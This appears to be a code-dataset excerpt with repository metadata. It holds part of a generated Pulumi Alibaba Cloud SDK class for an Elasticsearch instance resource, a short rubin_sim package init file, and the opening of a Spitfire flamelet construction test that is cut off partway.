pulumi.Input[int] client_node_amount: The Elasticsearch cluster's client node quantity, between 2 and 25. :param pulumi.Input[str] client_node_spec: The client node spec. If specified, client node will be created. :param pulumi.Input[int] data_node_amount: The Elasticsearch cluster's data node quantity, between 2 and 50. :param pulumi.Input[bool] data_node_disk_encrypted: If encrypt the data node disk. Valid values are `true`, `false`. Default to `false`. :param pulumi.Input[int] data_node_disk_size: The single data node storage space. - `cloud_ssd`: An SSD disk, supports a maximum of 2048 GiB (2 TB). :param pulumi.Input[str] data_node_disk_type: The data node disk type. Supported values: cloud_ssd, cloud_efficiency. :param pulumi.Input[str] data_node_spec: The data node specifications of the Elasticsearch instance. :param pulumi.Input[str] description: The description of instance. It a string of 0 to 30 characters. :param pulumi.Input[bool] enable_kibana_private_network: Bool, default to false. When it set to true, the instance can close kibana private network access。 :param pulumi.Input[bool] enable_kibana_public_network: Bool, default to true. When it set to false, the instance can enable kibana public network access。 :param pulumi.Input[bool] enable_public: Bool, default to false. When it set to true, the instance can enable public network access。 :param pulumi.Input[str] instance_charge_type: Valid values are `PrePaid`, `PostPaid`. Default to `PostPaid`. From version 1.69.0, the Elasticsearch cluster allows you to update your instance_charge_ype from `PostPaid` to `PrePaid`, the following attributes are required: `period`. But, updating from `PostPaid` to `PrePaid` is not supported. :param pulumi.Input[Sequence[pulumi.Input[str]]] kibana_private_whitelists: Set the Kibana's IP whitelist in private network. :param pulumi.Input[Sequence[pulumi.Input[str]]] kibana_whitelists: Set the Kibana's IP whitelist in internet network. :param pulumi.Input[str] kms_encrypted_password: An KMS encrypts password used to a instance. If the `password` is filled in, this field will be ignored, but you have to specify one of `password` and `kms_encrypted_password` fields. :param pulumi.Input[Mapping[str, Any]] kms_encryption_context: An KMS encryption context used to decrypt `kms_encrypted_password` before creating or updating instance with `kms_encrypted_password`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set. :param pulumi.Input[str] master_node_spec: The dedicated master node spec. If specified, dedicated master node will be created. :param pulumi.Input[str] password: The password of the instance. The password can be 8 to 30 characters in length and must contain three of the following conditions: uppercase letters, lowercase letters, numbers, and special characters (`!@#$%^&*()_+-=`). :param pulumi.Input[int] period: The duration that you will buy Elasticsearch instance (in month). It is valid when instance_charge_type is `PrePaid`. Valid values: [1~9], 12, 24, 36. Default to 1. From version 1.69.2, when to modify this value, the resource can renewal a `PrePaid` instance. :param pulumi.Input[Sequence[pulumi.Input[str]]] private_whitelists: Set the instance's IP whitelist in VPC network. :param pulumi.Input[str] protocol: Elasticsearch protocol. Supported values: `HTTP`, `HTTPS`.default is `HTTP`. :param pulumi.Input[Sequence[pulumi.Input[str]]] public_whitelists: Set the instance's IP whitelist in internet network. :param pulumi.Input[str] resource_group_id: The Id of resource group which the Elasticsearch instance belongs. :param pulumi.Input[Mapping[str, Any]] setting_config: The YML configuration of the instance.[Detailed introduction](https://www.alibabacloud.com/help/doc-detail/61336.html). :param pulumi.Input[Mapping[str, Any]] tags: A mapping of tags to assign to the resource. - key: It can be up to 128 characters in length. It cannot begin with "aliyun", "acs:". It cannot contain "http://" and "https://". It cannot be a null string. - value: It can be up to 128 characters in length. It cannot contain "http://" and "https://". It can be a null string. :param pulumi.Input[str] version: Elasticsearch version. Supported values: `5.5.3_with_X-Pack`, `6.3_with_X-Pack`, `6.7_with_X-Pack`, `6.8_with_X-Pack`, `7.4_with_X-Pack` and `7.7_with_X-Pack`. :param pulumi.Input[str] vswitch_id: The ID of VSwitch. :param pulumi.Input[int] zone_count: The Multi-AZ supported for Elasticsearch, between 1 and 3. The `data_node_amount` value must be an integral multiple of the `zone_count` value. """ ... @overload def __init__(__self__, resource_name: str, args: InstanceArgs, opts: Optional[pulumi.ResourceOptions] = None): """ Provides a Elasticsearch instance resource. It contains data nodes, dedicated master node(optional) and etc. It can be associated with private IP whitelists and kibana IP whitelist. > **NOTE:** Only one operation is supported in a request. So if `data_node_spec` and `data_node_disk_size` are both changed, system will respond error. > **NOTE:** At present, `version` can not be modified once instance has been created. ## Example Usage Basic Usage ```python import pulumi import pulumi_alicloud as alicloud instance = alicloud.elasticsearch.Instance("instance", client_node_amount=2, client_node_spec="elasticsearch.sn2ne.large", data_node_amount=2, data_node_disk_size=20, data_node_disk_type="cloud_ssd", data_node_spec="elasticsearch.sn2ne.large", description="description", instance_charge_type="PostPaid", password="Your password", protocol="HTTPS", tags={ "key1": "value1", "key2": "value2", }, version="5.5.3_with_X-Pack", vswitch_id="some vswitch id", zone_count=2) ``` ## Import Elasticsearch can be imported using the id, e.g. ```sh $ pulumi import alicloud:elasticsearch/instance:Instance example es-cn-abcde123456 ``` :param str resource_name: The name of the resource. :param InstanceArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(InstanceArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, client_node_amount: Optional[pulumi.Input[int]] = None, client_node_spec: Optional[pulumi.Input[str]] = None, data_node_amount: Optional[pulumi.Input[int]] = None, data_node_disk_encrypted: Optional[pulumi.Input[bool]] = None, data_node_disk_size: Optional[pulumi.Input[int]] = None, data_node_disk_type: Optional[pulumi.Input[str]] = None, data_node_spec: Optional[pulumi.Input[str]] = None, description: Optional[pulumi.Input[str]] = None, enable_kibana_private_network: Optional[pulumi.Input[bool]] = None, enable_kibana_public_network: Optional[pulumi.Input[bool]] = None, enable_public: Optional[pulumi.Input[bool]] = None, instance_charge_type: Optional[pulumi.Input[str]] = None, kibana_private_whitelists: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, kibana_whitelists: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, kms_encrypted_password: Optional[pulumi.Input[str]] = None, kms_encryption_context: Optional[pulumi.Input[Mapping[str, Any]]] = None, master_node_spec: Optional[pulumi.Input[str]] = None, password: Optional[pulumi.Input[str]] = None, period: Optional[pulumi.Input[int]] = None, private_whitelists: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, protocol: Optional[pulumi.Input[str]] = None, public_whitelists: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, resource_group_id: Optional[pulumi.Input[str]] = None, setting_config: Optional[pulumi.Input[Mapping[str, Any]]] = None, tags: Optional[pulumi.Input[Mapping[str, Any]]] = None, version: Optional[pulumi.Input[str]] = None, vswitch_id: Optional[pulumi.Input[str]] = None, zone_count: Optional[pulumi.Input[int]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = InstanceArgs.__new__(InstanceArgs) __props__.__dict__["client_node_amount"] = client_node_amount __props__.__dict__["client_node_spec"] = client_node_spec if data_node_amount is None and not opts.urn: raise TypeError("Missing required property 'data_node_amount'") __props__.__dict__["data_node_amount"] = data_node_amount __props__.__dict__["data_node_disk_encrypted"] = data_node_disk_encrypted if data_node_disk_size is None and not opts.urn: raise TypeError("Missing required property 'data_node_disk_size'") __props__.__dict__["data_node_disk_size"] = data_node_disk_size if data_node_disk_type is None and not opts.urn: raise TypeError("Missing required property 'data_node_disk_type'") __props__.__dict__["data_node_disk_type"] = data_node_disk_type if data_node_spec is None and not opts.urn: raise TypeError("Missing required property 'data_node_spec'") __props__.__dict__["data_node_spec"] = data_node_spec __props__.__dict__["description"] = description __props__.__dict__["enable_kibana_private_network"] = enable_kibana_private_network __props__.__dict__["enable_kibana_public_network"] = enable_kibana_public_network __props__.__dict__["enable_public"] = enable_public __props__.__dict__["instance_charge_type"] = instance_charge_type __props__.__dict__["kibana_private_whitelists"] = kibana_private_whitelists __props__.__dict__["kibana_whitelists"] = kibana_whitelists __props__.__dict__["kms_encrypted_password"] = kms_encrypted_password __props__.__dict__["kms_encryption_context"] = kms_encryption_context __props__.__dict__["master_node_spec"] = master_node_spec __props__.__dict__["password"] = password __props__.__dict__["period"] = period __props__.__dict__["private_whitelists"] = private_whitelists __props__.__dict__["protocol"] = protocol __props__.__dict__["public_whitelists"] = public_whitelists __props__.__dict__["resource_group_id"] = resource_group_id __props__.__dict__["setting_config"] = setting_config __props__.__dict__["tags"] = tags if version is None and not opts.urn: raise TypeError("Missing required property 'version'") __props__.__dict__["version"] = version if vswitch_id is None and not opts.urn: raise TypeError("Missing required property 'vswitch_id'") __props__.__dict__["vswitch_id"] = vswitch_id __props__.__dict__["zone_count"] = zone_count __props__.__dict__["domain"] = None __props__.__dict__["kibana_domain"] = None __props__.__dict__["kibana_port"] = None __props__.__dict__["port"] = None __props__.__dict__["status"] = None super(Instance, __self__).__init__( 'alicloud:elasticsearch/instance:Instance', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, client_node_amount: Optional[pulumi.Input[int]] = None, client_node_spec: Optional[pulumi.Input[str]] = None, data_node_amount: Optional[pulumi.Input[int]] = None, data_node_disk_encrypted: Optional[pulumi.Input[bool]] = None, data_node_disk_size: Optional[pulumi.Input[int]] = None, data_node_disk_type: Optional[pulumi.Input[str]] = None, data_node_spec: Optional[pulumi.Input[str]] = None, description: Optional[pulumi.Input[str]] = None, domain: Optional[pulumi.Input[str]] = None, enable_kibana_private_network: Optional[pulumi.Input[bool]] = None, enable_kibana_public_network: Optional[pulumi.Input[bool]] = None, enable_public: Optional[pulumi.Input[bool]] = None, instance_charge_type: Optional[pulumi.Input[str]] = None, kibana_domain: Optional[pulumi.Input[str]] = None, kibana_port: Optional[pulumi.Input[int]] = None, kibana_private_whitelists: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, kibana_whitelists: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, kms_encrypted_password: Optional[pulumi.Input[str]] = None, kms_encryption_context: Optional[pulumi.Input[Mapping[str, Any]]] = None, master_node_spec: Optional[pulumi.Input[str]] = None, password: Optional[pulumi.Input[str]] = None, period: Optional[pulumi.Input[int]] = None, port: Optional[pulumi.Input[int]] = None, private_whitelists: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, protocol: Optional[pulumi.Input[str]] = None, public_whitelists: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, resource_group_id: Optional[pulumi.Input[str]] = None, setting_config: Optional[pulumi.Input[Mapping[str, Any]]] = None, status: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Mapping[str, Any]]] = None, version: Optional[pulumi.Input[str]] = None, vswitch_id: Optional[pulumi.Input[str]] = None, zone_count: Optional[pulumi.Input[int]] = None) -> 'Instance': """ Get an existing Instance resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[int] client_node_amount: The Elasticsearch cluster's client node quantity, between 2 and 25. :param pulumi.Input[str] client_node_spec: The client node spec. If specified, client node will be created. :param pulumi.Input[int] data_node_amount: The Elasticsearch cluster's data node quantity, between 2 and 50. :param pulumi.Input[bool] data_node_disk_encrypted: If encrypt the data node disk. Valid values are `true`, `false`. Default to `false`. :param pulumi.Input[int] data_node_disk_size: The single data node storage space. - `cloud_ssd`: An SSD disk, supports a maximum of 2048 GiB (2 TB). :param pulumi.Input[str] data_node_disk_type: The data node disk type. Supported values: cloud_ssd, cloud_efficiency. :param pulumi.Input[str] data_node_spec: The data node specifications of the Elasticsearch instance. :param pulumi.Input[str] description: The description of instance. It a string of 0 to 30 characters. :param pulumi.Input[str] domain: Instance connection domain (only VPC network access supported). :param pulumi.Input[bool] enable_kibana_private_network: Bool, default to false. When it set to true, the instance can close kibana private network access。 :param pulumi.Input[bool] enable_kibana_public_network: Bool, default to true. When it set to false, the instance can enable kibana public network access。 :param pulumi.Input[bool] enable_public: Bool, default to false. When it set to true, the instance can enable public network access。 :param pulumi.Input[str] instance_charge_type: Valid values are `PrePaid`, `PostPaid`. Default to `PostPaid`. From version 1.69.0, the Elasticsearch cluster allows you to update your instance_charge_ype from `PostPaid` to `PrePaid`, the following attributes are required: `period`. But, updating from `PostPaid` to `PrePaid` is not supported. :param pulumi.Input[str] kibana_domain: Kibana console domain (Internet access supported). :param pulumi.Input[int] kibana_port: Kibana console port. :param pulumi.Input[Sequence[pulumi.Input[str]]] kibana_private_whitelists: Set the Kibana's IP whitelist in private network. :param pulumi.Input[Sequence[pulumi.Input[str]]] kibana_whitelists: Set the Kibana's IP whitelist in internet network. :param pulumi.Input[str] kms_encrypted_password: An KMS encrypts password used to a instance. If the `password` is filled in, this field will be ignored, but you have to specify one of `password` and `kms_encrypted_password` fields. :param pulumi.Input[Mapping[str, Any]] kms_encryption_context: An KMS encryption context used to decrypt `kms_encrypted_password` before creating or updating instance with `kms_encrypted_password`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set. :param pulumi.Input[str] master_node_spec: The dedicated master node spec. If specified, dedicated master node will be created. :param pulumi.Input[str] password: The password of the instance. The password can be 8 to 30 characters in length and must contain three of the following conditions: uppercase letters, lowercase letters, numbers, and special characters (`!@#$%^&*()_+-=`). :param pulumi.Input[int] period: The duration that you will buy Elasticsearch instance (in month). It is valid when instance_charge_type is `PrePaid`. Valid values: [1~9], 12, 24, 36. Default to 1. From version 1.69.2, when to modify this value, the resource can renewal a `PrePaid` instance. :param pulumi.Input[int] port: Instance connection port. :param pulumi.Input[Sequence[pulumi.Input[str]]] private_whitelists: Set the instance's IP whitelist in VPC network. :param pulumi.Input[str] protocol: Elasticsearch protocol. Supported values: `HTTP`, `HTTPS`.default is `HTTP`. :param pulumi.Input[Sequence[pulumi.Input[str]]] public_whitelists: Set the instance's IP whitelist in internet network. :param pulumi.Input[str] resource_group_id: The Id of resource group which the Elasticsearch instance belongs. :param pulumi.Input[Mapping[str, Any]] setting_config: The YML configuration of the instance.[Detailed introduction](https://www.alibabacloud.com/help/doc-detail/61336.html). :param pulumi.Input[str] status: The Elasticsearch instance status. Includes `active`, `activating`, `inactive`. Some operations are denied when status is not `active`. :param pulumi.Input[Mapping[str, Any]] tags: A mapping of tags to assign to the resource. - key: It can be up to 128 characters in length. It cannot begin with "aliyun", "acs:". It cannot contain "http://" and "https://". It cannot be a null string. - value: It can be up to 128 characters in length. It cannot contain "http://" and "https://". It can be a null string. :param pulumi.Input[str] version: Elasticsearch version. Supported values: `5.5.3_with_X-Pack`, `6.3_with_X-Pack`, `6.7_with_X-Pack`, `6.8_with_X-Pack`, `7.4_with_X-Pack` and `7.7_with_X-Pack`. :param pulumi.Input[str] vswitch_id: The ID of VSwitch. :param pulumi.Input[int] zone_count: The Multi-AZ supported for Elasticsearch, between 1 and 3. The `data_node_amount` value must be an integral multiple of the `zone_count` value. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _InstanceState.__new__(_InstanceState) __props__.__dict__["client_node_amount"] = client_node_amount __props__.__dict__["client_node_spec"] = client_node_spec __props__.__dict__["data_node_amount"] = data_node_amount __props__.__dict__["data_node_disk_encrypted"] = data_node_disk_encrypted __props__.__dict__["data_node_disk_size"] = data_node_disk_size __props__.__dict__["data_node_disk_type"] = data_node_disk_type __props__.__dict__["data_node_spec"] = data_node_spec __props__.__dict__["description"] = description __props__.__dict__["domain"] = domain __props__.__dict__["enable_kibana_private_network"] = enable_kibana_private_network __props__.__dict__["enable_kibana_public_network"] = enable_kibana_public_network __props__.__dict__["enable_public"] = enable_public __props__.__dict__["instance_charge_type"] = instance_charge_type __props__.__dict__["kibana_domain"] = kibana_domain __props__.__dict__["kibana_port"] = kibana_port __props__.__dict__["kibana_private_whitelists"] = kibana_private_whitelists __props__.__dict__["kibana_whitelists"] = kibana_whitelists __props__.__dict__["kms_encrypted_password"] = kms_encrypted_password __props__.__dict__["kms_encryption_context"] = kms_encryption_context __props__.__dict__["master_node_spec"] = master_node_spec __props__.__dict__["password"] = password __props__.__dict__["period"] = period __props__.__dict__["port"] = port __props__.__dict__["private_whitelists"] = private_whitelists __props__.__dict__["protocol"] = protocol __props__.__dict__["public_whitelists"] = public_whitelists __props__.__dict__["resource_group_id"] = resource_group_id __props__.__dict__["setting_config"] = setting_config __props__.__dict__["status"] = status __props__.__dict__["tags"] = tags __props__.__dict__["version"] = version __props__.__dict__["vswitch_id"] = vswitch_id __props__.__dict__["zone_count"] = zone_count return Instance(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter(name="clientNodeAmount") def client_node_amount(self) -> pulumi.Output[Optional[int]]: """ The Elasticsearch cluster's client node quantity, between 2 and 25. """ return pulumi.get(self, "client_node_amount") @property @pulumi.getter(name="clientNodeSpec") def client_node_spec(self) -> pulumi.Output[Optional[str]]: """ The client node spec. If specified, client node will be created. """ return pulumi.get(self, "client_node_spec") @property @pulumi.getter(name="dataNodeAmount") def data_node_amount(self) -> pulumi.Output[int]: """ The Elasticsearch cluster's data node quantity, between 2 and 50. """ return pulumi.get(self, "data_node_amount") @property @pulumi.getter(name="dataNodeDiskEncrypted") def data_node_disk_encrypted(self) -> pulumi.Output[Optional[bool]]: """ If encrypt the data node disk. Valid values are `true`, `false`. Default to `false`. """ return pulumi.get(self, "data_node_disk_encrypted") @property @pulumi.getter(name="dataNodeDiskSize") def data_node_disk_size(self) -> pulumi.Output[int]: """ The single data node storage space. - `cloud_ssd`: An SSD disk, supports a maximum of 2048 GiB (2 TB). """ return pulumi.get(self, "data_node_disk_size") @property @pulumi.getter(name="dataNodeDiskType") def data_node_disk_type(self) -> pulumi.Output[str]: """ The data node disk type. Supported values: cloud_ssd, cloud_efficiency. """ return pulumi.get(self, "data_node_disk_type") @property @pulumi.getter(name="dataNodeSpec") def data_node_spec(self) -> pulumi.Output[str]: """ The data node specifications of the Elasticsearch instance. """ return pulumi.get(self, "data_node_spec") @property @pulumi.getter def description(self) -> pulumi.Output[str]: """ The description of instance. It a string of 0 to 30 characters. """ return pulumi.get(self, "description") @property @pulumi.getter def domain(self) -> pulumi.Output[str]: """ Instance connection domain (only VPC network access supported). """ return pulumi.get(self, "domain") @property @pulumi.getter(name="enableKibanaPrivateNetwork") def enable_kibana_private_network(self) -> pulumi.Output[Optional[bool]]: """ Bool, default to false. When it set to true, the instance can close kibana private network access。 """ return pulumi.get(self, "enable_kibana_private_network") @property @pulumi.getter(name="enableKibanaPublicNetwork") def enable_kibana_public_network(self) -> pulumi.Output[Optional[bool]]: """ Bool, default to true. When it set to false, the instance can enable kibana public network access。 """ return pulumi.get(self, "enable_kibana_public_network") @property @pulumi.getter(name="enablePublic") def enable_public(self) -> pulumi.Output[Optional[bool]]: """ Bool, default to false. When it set to true, the instance can enable public network access。 """ return pulumi.get(self, "enable_public") @property @pulumi.getter(name="instanceChargeType") def instance_charge_type(self) -> pulumi.Output[Optional[str]]: """ Valid values are `PrePaid`, `PostPaid`. Default to `PostPaid`. From version 1.69.0, the Elasticsearch cluster allows you to update your instance_charge_ype from `PostPaid` to `PrePaid`, the following attributes are required: `period`. But, updating from `PostPaid` to `PrePaid` is not supported. """ return pulumi.get(self, "instance_charge_type") @property @pulumi.getter(name="kibanaDomain") def kibana_domain(self) -> pulumi.Output[str]: """ Kibana console domain (Internet access supported). """ return pulumi.get(self, "kibana_domain") @property @pulumi.getter(name="kibanaPort") def kibana_port(self) -> pulumi.Output[int]: """ Kibana console port. """ return pulumi.get(self, "kibana_port") @property @pulumi.getter(name="kibanaPrivateWhitelists") def kibana_private_whitelists(self) -> pulumi.Output[Sequence[str]]: """ Set the Kibana's IP whitelist in private network. """ return pulumi.get(self, "kibana_private_whitelists") @property @pulumi.getter(name="kibanaWhitelists") def kibana_whitelists(self) -> pulumi.Output[Sequence[str]]: """ Set the Kibana's IP whitelist in internet network. """ return pulumi.get(self, "kibana_whitelists") @property @pulumi.getter(name="kmsEncryptedPassword") def kms_encrypted_password(self) -> pulumi.Output[Optional[str]]: """ An KMS encrypts password used to a instance. If the `password` is filled in, this field will be ignored, but you have to specify one of `password` and `kms_encrypted_password` fields. """ return pulumi.get(self, "kms_encrypted_password") @property @pulumi.getter(name="kmsEncryptionContext") def kms_encryption_context(self) -> pulumi.Output[Optional[Mapping[str, Any]]]: """ An KMS encryption context used to decrypt `kms_encrypted_password` before creating or updating instance with `kms_encrypted_password`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set. """ return pulumi.get(self, "kms_encryption_context") @property @pulumi.getter(name="masterNodeSpec") def master_node_spec(self) -> pulumi.Output[Optional[str]]: """ The dedicated master node spec. If specified, dedicated master node will be created. """ return pulumi.get(self, "master_node_spec") @property @pulumi.getter def password(self) -> pulumi.Output[Optional[str]]: """ The password of the instance. The password can be 8 to 30 characters in length and must contain three of the following conditions: uppercase letters, lowercase letters, numbers, and special characters (`!@#$%^&*()_+-=`). """ return pulumi.get(self, "password") @property @pulumi.getter def period(self) -> pulumi.Output[Optional[int]]: """ The duration that you will buy Elasticsearch instance (in month). It is valid when instance_charge_type is `PrePaid`. Valid values: [1~9], 12, 24, 36. Default to 1. From version 1.69.2, when to modify this value, the resource can renewal a `PrePaid` instance. """ return pulumi.get(self, "period") @property @pulumi.getter def port(self) -> pulumi.Output[int]: """ Instance connection port. """ return pulumi.get(self, "port") @property @pulumi.getter(name="privateWhitelists") def private_whitelists(self) -> pulumi.Output[Sequence[str]]: """ Set the instance's IP whitelist in VPC network. """ return pulumi.get(self, "private_whitelists") @property @pulumi.getter def protocol(self) -> pulumi.Output[Optional[str]]: """ Elasticsearch protocol. Supported values: `HTTP`, `HTTPS`.default is `HTTP`. """ return pulumi.get(self, "protocol") @property @pulumi.getter(name="publicWhitelists") def public_whitelists(self) -> pulumi.Output[Sequence[str]]: """ Set the instance's IP whitelist in internet network. """ return pulumi.get(self, "public_whitelists") @property @pulumi.getter(name="resourceGroupId") def resource_group_id(self) -> pulumi.Output[str]: """ The Id of resource group which the Elasticsearch instance belongs. """ return pulumi.get(self, "resource_group_id") @property @pulumi.getter(name="settingConfig") def setting_config(self) -> pulumi.Output[Mapping[str, Any]]: """ The YML configuration of the instance.[Detailed introduction](https://www.alibabacloud.com/help/doc-detail/61336.html). """ return pulumi.get(self, "setting_config") @property @pulumi.getter def status(self) -> pulumi.Output[str]: """ The Elasticsearch instance status. Includes `active`, `activating`, `inactive`. Some operations are denied when status is not `active`. """ return pulumi.get(self, "status") @property @pulumi.getter def tags(self) -> pulumi.Output[Optional[Mapping[str, Any]]]: """ A mapping of tags to assign to the resource. - key: It can be up to 128 characters in length. It cannot begin with "aliyun", "acs:". It cannot contain "http://" and "https://". It cannot be a null string. - value: It can be up to 128 characters in length. It cannot contain "http://" and "https://". It can be a null string. """ return pulumi.get(self, "tags") @property @pulumi.getter def version(self) -> pulumi.Output[str]: """ Elasticsearch version. Supported values: `5.5.3_with_X-Pack`, `6.3_with_X-Pack`, `6.7_with_X-Pack`, `6.8_with_X-Pack`, `7.4_with_X-Pack` and `7.7_with_X-Pack`. """ return pulumi.get(self, "version") @property @pulumi.getter(name="vswitchId") def vswitch_id(self) -> pulumi.Output[str]: """ The ID of VSwitch. """ return pulumi.get(self, "vswitch_id") @property @pulumi.getter(name="zoneCount") def zone_count(self) -> pulumi.Output[Optional[int]]: """ The Multi-AZ supported for Elasticsearch, between 1 and 3. The `data_node_amount` value must be an integral multiple of the `zone_count` value. """ return pulumi.get(self, "zone_count")

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null

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1

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9

9d7c862da747bf78ad3e2ac930d2bc114aa0febb

125

py

Python

rubin_sim/scheduler/basis_functions/__init__.py

RileyWClarke/flarubin

eb7b1ee21c828523f8a5374fe4510fe6e5ec2a2a

[ "MIT" ]

null

rubin_sim/scheduler/basis_functions/__init__.py

RileyWClarke/flarubin

eb7b1ee21c828523f8a5374fe4510fe6e5ec2a2a

[ "MIT" ]

null

rubin_sim/scheduler/basis_functions/__init__.py

RileyWClarke/flarubin

eb7b1ee21c828523f8a5374fe4510fe6e5ec2a2a

[ "MIT" ]

null

from .basis_functions import * from .mask_basis_funcs import * from .feasibility_funcs import * from .rolling_funcs import *

25

32

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17

125

5.647059

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125

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9dccf7be389b738013850ada4d2622047dc63864

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py

Python

tests/flamelet/test_flamelet_construction_coverage.py

sandialabs/Spitfire

65670e3ba5d1ccb4ac72524b77957706345c5bf6

[ "Apache-2.0" ]

11

2020-03-20T02:10:17.000Z

2021-12-14T10:08:09.000Z

tests/flamelet/test_flamelet_construction_coverage.py

sandialabs/Spitfire

65670e3ba5d1ccb4ac72524b77957706345c5bf6

[ "Apache-2.0" ]

18

2020-03-18T18:58:56.000Z

2021-12-21T02:35:35.000Z

tests/flamelet/test_flamelet_construction_coverage.py

sandialabs/Spitfire

65670e3ba5d1ccb4ac72524b77957706345c5bf6

[ "Apache-2.0" ]

2

2021-05-31T17:24:56.000Z

2021-06-20T05:27:41.000Z

import unittest import numpy as np import pickle from os.path import join, abspath from spitfire import ChemicalMechanismSpec, Flamelet, FlameletSpec def construct_adiabatic_flamelet(initialization, grid_type, diss_rate_form): test_xml = abspath(join('tests', 'test_mechanisms', 'h2-burke.xml')) mechanism = ChemicalMechanismSpec(cantera_xml=test_xml, group_name='h2-burke') air = mechanism.stream(stp_air=True) fuel = mechanism.stream('X', 'H2:1') fuel.TP = 300, air.P if grid_type == 'uniform': grid_specs = {'grid_points': 8} elif grid_type == 'clustered-1args': grid_specs = {'grid_points': 8} elif grid_type == 'clustered-2args': grid_specs = {'grid_points': 8, 'grid_cluster_intensity': 4.} elif grid_type == 'clustered-3args': grid_specs = {'grid_points': 8, 'grid_cluster_intensity': 4., 'grid_cluster_point': 0.4} elif grid_type == 'custom': grid_specs = {'grid': np.linspace(0., 1., 8)} if diss_rate_form == 'Peters': drf_specs = {'max_dissipation_rate': 1., 'dissipation_rate_form': diss_rate_form} elif diss_rate_form == 'uniform': drf_specs = {'max_dissipation_rate': 1., 'dissipation_rate_form': diss_rate_form} elif diss_rate_form == 'custom': drf_specs = {'dissipation_rate': np.linspace(0., 1., 8)} flamelet_specs = {'mech_spec': mechanism, 'oxy_stream': air, 'fuel_stream': fuel, 'initial_condition': initialization} flamelet_specs.update(grid_specs) flamelet_specs.update(drf_specs) try: Flamelet(**flamelet_specs) Flamelet(flamelet_specs=flamelet_specs) fso = FlameletSpec(**flamelet_specs) f = Flamelet(fso) fso_pickle = pickle.dumps(fso) fso2 = pickle.loads(fso_pickle) f = Flamelet(fso2) lib = f.make_library_from_interior_state(f.initial_interior_state) Flamelet(library_slice=lib) lib_pickle = pickle.dumps(lib) lib2 = pickle.loads(lib_pickle) Flamelet(library_slice=lib2) return True except: return False def construct_nonadiabatic_flamelet(initialization, grid_type, diss_rate_form): test_xml = abspath(join('tests', 'test_mechanisms', 'h2-burke.xml')) mechanism = ChemicalMechanismSpec(cantera_xml=test_xml, group_name='h2-burke') air = mechanism.stream(stp_air=True) fuel = mechanism.stream('X', 'H2:1') fuel.TP = 300, air.P if grid_type == 'uniform': grid_specs = {'grid_points': 8} elif grid_type == 'clustered-1args': grid_specs = {'grid_points': 8} elif grid_type == 'clustered-2args': grid_specs = {'grid_points': 8, 'grid_cluster_intensity': 4.} elif grid_type == 'clustered-3args': grid_specs = {'grid_points': 8, 'grid_cluster_intensity': 4., 'grid_cluster_point': 0.4} elif grid_type == 'custom': grid_specs = {'grid': np.linspace(0., 1., 8)} if diss_rate_form == 'Peters': drf_specs = {'max_dissipation_rate': 1., 'dissipation_rate_form': diss_rate_form} elif diss_rate_form == 'uniform': drf_specs = {'max_dissipation_rate': 1., 'dissipation_rate_form': diss_rate_form} elif diss_rate_form == 'custom': drf_specs = {'dissipation_rate': np.linspace(0., 1., 8)} try: flamelet_specs = {'mech_spec': mechanism, 'oxy_stream': air, 'fuel_stream': fuel, 'initial_condition': initialization, 'heat_transfer': 'nonadiabatic', 'convection_temperature': 350., 'convection_coefficient': 0., 'radiation_temperature': 350., 'radiative_emissivity': 0.} flamelet_specs.update(grid_specs) flamelet_specs.update(drf_specs) Flamelet(**flamelet_specs) Flamelet(flamelet_specs=flamelet_specs) fso = FlameletSpec(**flamelet_specs) f = Flamelet(fso) fso_pickle = pickle.dumps(fso) fso2 = pickle.loads(fso_pickle) f = Flamelet(fso2) lib = f.make_library_from_interior_state(f.initial_interior_state) Flamelet(library_slice=lib) lib_pickle = pickle.dumps(lib) lib2 = pickle.loads(lib_pickle) Flamelet(library_slice=lib2) flamelet_specs = {'mech_spec': mechanism, 'oxy_stream': air, 'fuel_stream': fuel, 'initial_condition': initialization, 'heat_transfer': 'nonadiabatic', 'scale_heat_loss_by_temp_range': True, 'scale_convection_by_dissipation': True, 'use_linear_ref_temp_profile': True, 'convection_coefficient': 1.e7, 'radiative_emissivity': 0.} flamelet_specs.update(grid_specs) flamelet_specs.update(drf_specs) Flamelet(**flamelet_specs) Flamelet(flamelet_specs=flamelet_specs) fso = FlameletSpec(**flamelet_specs) f = Flamelet(fso) fso_pickle = pickle.dumps(fso) fso2 = pickle.loads(fso_pickle) f = Flamelet(fso2) lib = f.make_library_from_interior_state(f.initial_interior_state) Flamelet(library_slice=lib) lib_pickle = pickle.dumps(lib) lib2 = pickle.loads(lib_pickle) Flamelet(library_slice=lib2) flamelet_specs = {'mech_spec': mechanism, 'oxy_stream': air, 